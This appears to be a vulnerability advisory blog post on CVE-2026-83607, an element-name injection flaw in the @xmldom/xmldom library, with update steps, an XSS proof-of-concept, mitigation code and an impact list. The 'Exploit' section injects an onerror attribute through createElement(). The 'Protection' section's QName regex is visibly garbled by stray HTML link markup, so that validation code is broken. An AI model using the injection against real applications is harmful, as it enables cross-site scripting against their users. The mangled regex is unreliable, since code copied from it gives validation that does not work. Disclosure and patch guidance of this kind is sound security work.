Listen to this Post
CVE-2026-83607 is a vulnerability in the @xmldom/xmldom library where `Document.createElement()` accepts arbitrary strings as the tagName parameter without validation. The `XMLSerializer.serializeToString()` method then emits this tag name verbatim into the output.
The root cause is that `createElement()` stores the raw tagName string without any validation, and the serializer’s `requireWellFormed: true` code path—which was the recommended mitigation for previous CVEs (CVE-2026-41672, CVE-2026-41674, and CVE-2026-34601)—did not validate element names against the XML QName production. The serializer emits tagName directly into angle brackets: <${tagName}...>.
An attacker who controls the element name string can inject arbitrary attributes (including event handlers like onerror, onclick) into the serialized output, leading to Cross-Site Scripting (XSS) when the output is consumed by a browser. Unlike the browser’s native createElement(), which rejects invalid names with InvalidCharacterError, xmldom accepts them—developers may assume the same safety and skip validation.
This issue has been fixed in @xmldom/xmldom versions 0.8.14 and 0.9.11, but the fix requires opt-in via the `{ requireWellFormed: true }` option. Default serialization remains unchanged for backward compatibility.
DailyCVE Form:
Platform: @xmldom/xmldom
Version: <0.8.14,<0.9.11
Vulnerability: ElementNameInjection
Severity: High (CVSS 8.7)
date: 2026-09-01
Prediction: Patch already released (0.8.14/0.9.11)
What Undercode Say:
Check your @xmldom/xmldom version npm list @xmldom/xmldom Update to patched version npm install @xmldom/[email protected] or for 0.9.x branch npm install @xmldom/[email protected] Audit all serializeToString() call sites grep -r "serializeToString" --include=".js" .
Exploit: (Educational Purposes!)
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const impl = new DOMImplementation();
const serializer = new XMLSerializer();
const doc = impl.createDocument(null, 'root', null);
// Inject an element whose "name" contains attributes with an XSS payload
const el = doc.createElement('img src=x onerror="alert(1)"');
doc.documentElement.appendChild(el);
// Default serialization (vulnerable)
const output = serializer.serializeToString(doc);
console.log(output);
// <root><img src=x onerror="alert(1)"/></root>
// requireWellFormed: true did NOT prevent the injection (pre-patch)
const output2 = serializer.serializeToString(doc, { requireWellFormed: true });
console.log(output2);
// Still <root><img src=x onerror="alert(1)"/></root> (pre-patch)
Protection:
// Option 1: Update to patched version and use requireWellFormed: true
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const doc = new DOMImplementation().createDocument(null, 'root', null);
doc.documentElement.appendChild(doc.createElement('img src=x onerror="alert(1)"'));
// Opt-in guard: throws InvalidStateError before serializing (post-patch)
try {
new XMLSerializer().serializeToString(doc, { requireWellFormed: true });
} catch (e) {
console.log(e.name, e.message);
// InvalidStateError: The element name "img src=x onerror="alert(1)"" is not a valid XML QName
}
// Option 2: Validate tagName at creation time (defensive coding)
function safeCreateElement(doc, tagName) {
// Basic QName validation
const qNamePattern = /^[a-zA-Z_]<a href=":[a-zA-Z_][a-zA-Z0-9_.-]">a-zA-Z0-9_.-</a>?$/;
if (!qNamePattern.test(tagName)) {
throw new Error('Invalid element name');
}
return doc.createElement(tagName);
}
Impact:
- Cross-Site Scripting (XSS): Injecting event handler attributes (onerror, onclick, etc.) into HTML output consumed by browsers.
- XML Injection: Breaking XML document structure by injecting closing tags, new elements, or processing instructions through the element name.
- Security Control Bypass: Applications that adopted `requireWellFormed: true` as a mitigation for CVE-2026-41672, CVE-2026-41674, and CVE-2026-34601 remained vulnerable through this vector.
- Integrity Violation: Attacker-controlled elements can alter the meaning and structure of generated XML documents.
- Business-Logic Injection: Downstream consumers may make incorrect privilege or workflow decisions based on injected elements.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
